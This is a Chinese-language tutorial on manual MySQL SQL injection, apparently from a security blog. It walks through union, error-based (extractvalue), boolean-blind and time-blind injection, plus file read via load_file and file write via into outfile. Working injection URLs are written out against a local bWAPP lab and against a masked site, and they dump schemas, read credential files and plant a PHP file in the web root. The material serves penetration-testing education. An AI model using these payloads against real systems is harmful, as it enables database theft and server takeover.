MySQL手工注入簡述

對於MySQL的注入內容,網上有很多的例子,MySQL注入也是我們平時最容易見到的,這裡僅僅拿出來幾個例子來說明一下。

目錄

0x01常用命令

0x02常規union顯注

0x03extractvalue()顯注

0x04基於布爾的盲注

0x05基於時間的盲注

0x06文件讀取

0x07文件寫入

註:在0x06和0x07中,默認參數–secure-file-priv不為null

0x01常用命令

對於注入來說,你首先要對基本的查詢語句足夠的了解,多熟悉一種查詢方法,在實際測試過程中,就多一點機會。

這裡先說兩種常用的單行查詢的語句,因為在注入過程中,經常會遇到內容顯示不全等現象,所以限制輸出行數是很必要的

concat(str1,str2,…)

concat()函數用於將多個字元串連接成一個字元串,如有任何一個參數為NULL ,則返回值為 NULL。

concat_ws(『指定分隔符』,str1,str2,str3...)

concat_ws()函數與concat()函數的不同在於concat_ws()函數不會因為中間的空值而整體返回空,只有在分隔符為空時,才整體返回空

其他的語句,在後面提到的時候會說

還有幾種就是MySQL的內置變數,在做資訊收集的時候會用到

version() 當前資料庫的版本號
database() 當前所在資料庫
user() 當前資料庫用戶許可權
@@datadir 數據文件的存放目錄
@@basedir 資料庫的安裝路徑
@@hostname 當前主機名(可以判斷是否是虛擬機)
@@version_compile_os 判斷使用的系統

0x02常規union顯注

接下來先舉一個簡單的例子說一下MySQL的注入

這是正常頁面

加單引號或者反斜杠等等,看他是否會報錯

報錯了,八九不離十是存在注入的

再使用and或者or,來確定一下

這是存在注入無疑了

之後就使用order by來判斷欄位

總欄位數有4個

接下來使用union select來確定數據位

確定數據位為2和3

之後就可以利用這兩個位,來得到我們想要的資訊

這裡還有個坑,需要大家知道一下,針對mssql等其他資料庫,這裡使用數字可能就不行了,那就需要使用null來代替了

至於如何爆出資訊來,就只能是挨個去測試了

接下來,查詢該用戶所能查看到的資料庫

可以看到這裡有三個資料庫

查看資料庫中的表

這個tbl_usr可能就是我們所需要的

接下來就是查欄位了

再往後就是查數據了

由於是明文存儲,直接獲取到密碼。

其實在前面的例子中,它會把數據分行來顯示出來,這樣就不存在被截斷看不到的現象了,如果存在的話就使用limit來限制就可以了

0x03 extractvalue()顯注

extractvalue() :對XML文檔進行查詢的函數

extractvalue(目標xml文檔,xml路徑)

具體的函數前面也已經說過了,這裡就不提了,直接看操作

正常頁面

使其報錯

首先先查看它的版本號,資料庫等資訊

查資料庫的安裝位置也是必要的,在實在爆不出來絕對路徑的時候,可以使用此路徑才猜測

接下來,開始爆資料庫

此時可以發現,它由於返回值超過了一個,所以不能返回,這時,我們就需要通過limit來限制它的輸出

http://127.0.0.1/bWAPP/sqli_2.php?movie=2 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,schema_name) from information_schema.schemata limit 0,1)))-- +&action=go
http://127.0.0.1/bWAPP/sqli_2.php?movie=2 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,schema_name) from information_schema.schemata limit 1,1)))-- +&action=go

接下來,爆表名

http://127.0.0.1/bWAPP/sqli_2.php?movie=2 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,table_name) from information_schema.tables where table_schema=0x6257415050 limit 0,1)))-- +&action=go

也是通過limit來限制輸出,直到找到我們所需要的值

接下來就去跑欄位和帳號密碼了,跟前面的方法一樣,就不多說了

還有一種是updatexml()顯注,跟這個完全類似,就不多說了

0x04基於布爾的盲注

這是正常訪問的頁面

使它報錯

基本可以判斷存在注入

再確定一下 and 1=1,返回正常

and 1=2,還是返回正常

這是什麼情況?難道不存在注入?

不是的,其實它不是數字型的注入,它傳入到資料庫進行查詢的時候,是按照字元串來進行查詢的

說明它確實是存在注入的,而且是字元型的注入

具體的查詢方法還是跟之前的一樣,不過因為是盲注,就比較複雜了

通過limit和ASCII碼來一個字元一個字元的對碰,可以藉助burp等工具來幫助我們去實現

**********.php?id=31660' and (select ascii(substring((selectversion()),1,1))=53) and 'aaa'='aaa

這裡等於53時,返回頁面正常,說明值正確,查看ASCII碼錶

53對應的是5,說明第一個值為5

然後limit限制第二個值,變換後面的內容,來查看其為多少

**********.php?id=31660' and (select ascii(substring((selectversion()),2,1))=46) and 'aaa'='aaa

當值為46時,返回正常,對應ASCII碼錶

當值為46時,為點

接下來,判斷第三個

**********.php?id=31660' and (select ascii(substring((selectversion()),3,1))=53) and 'aaa'='aaa

發現當值為53時,返回正常頁面,根據ASCII碼錶,得知53對應的ascii碼為5,所以初步得到這個它的版本為「5.5.*******」,後面的內容按照這個方法依次去猜解就可以了

對於猜表名等,只需要將這裡的查詢版本改換成前面所使用的對應的語句,就可以進行判斷了,

0x05基於時間的盲注

其實基於時間的盲注跟基於布爾的盲注基本一樣,不同的是布爾盲注是看返回頁面的正常與否,時間盲注是看頁面是否卡頓即sleep的秒數

還是在剛才的那個例子上,稍加變動即可

**********.php?id=31660' and if((ascii(mid((select version()),1,1))=53),sleep(5),1) and 'aaa'='aaa

主要就是看它是否會等待足夠的時長

之後跟前面一樣,只需要改變其中需要查詢的值,然後按位去判斷就可以了

0x06文件讀取

這裡,我們就省略掉前幾個步驟,直接從union聯合查詢開始

http://127.0.0.1/bWAPP/sqli_2.php?movie= -1 union select 1,2,3,4,5,6,7 from information_schema.schemata -- +&action=go

首先,這裡先找到了它哪幾個位置可以顯示值

比如說這裡我們要查看這個文件

D:phpstudyPHPTutorialWWWbWAPPadminsettings.php

先將它hex編碼一下

0x443A5C70687073747564795C5048505475746F7269616C5C5757575C62574150505C61646D696E5C73657474696E67732E706870

然後套用函數來查看,load_file(文件的絕對路徑的hex值) 來讀取文件

http://127.0.0.1/bWAPP/sqli_2.php?movie= -1 union select 1,load_file(0x443A5C70687073747564795C5048505475746F7269616C5C5757575C62574150505C61646D696E5C73657474696E67732E706870),3,4,5,6,7-- +&action=go

咦,為什麼跟我們預想的不一樣呢,為什麼數字2的位置為空了

其實,這個是它程式碼的原因,我們只需要查看源程式碼,就可以看到了

可以發現這裡的程式碼都已經被注釋掉了,不過不影響我們讀內容

資料庫的帳號密碼和資料庫名都在這裡了

0x07文件寫入

這裡的注意事項,在第六點的時候已經提到過了

這裡我們假設要把 <?php phpinfo();?> ,寫入到

D:phpstudyPHPTutorialWWWbWAPPadmin目錄下的123.php這個文件中

通過intooutfile '絕對路徑' 來寫

http://127.0.0.1/bWAPP/sqli_2.php?movie=-1 union select 1,0x3C3F70687020706870696E666F28293B3F3E,3,4,5,6,7 into outfile 'D:/phpstudy/PHPTutorial/WWW/bWAPP/admin/123.php' -- +&action=go

雖然報錯了,但是這裡並不影響

可以發現已經寫入成功了

訪問也是沒有任何問題的

就簡單提到這裡,之後有需要的時候再展開某一塊詳細說明。

推薦閱讀

  1. Linux重定向及反彈shell詳解
  2. 部署IIS+PHP+Oracle環境
  3. Linux目錄結構及開機流程詳解
  4. 部署IIS+PHP+SQL server環境
  5. Kerberoasting攻擊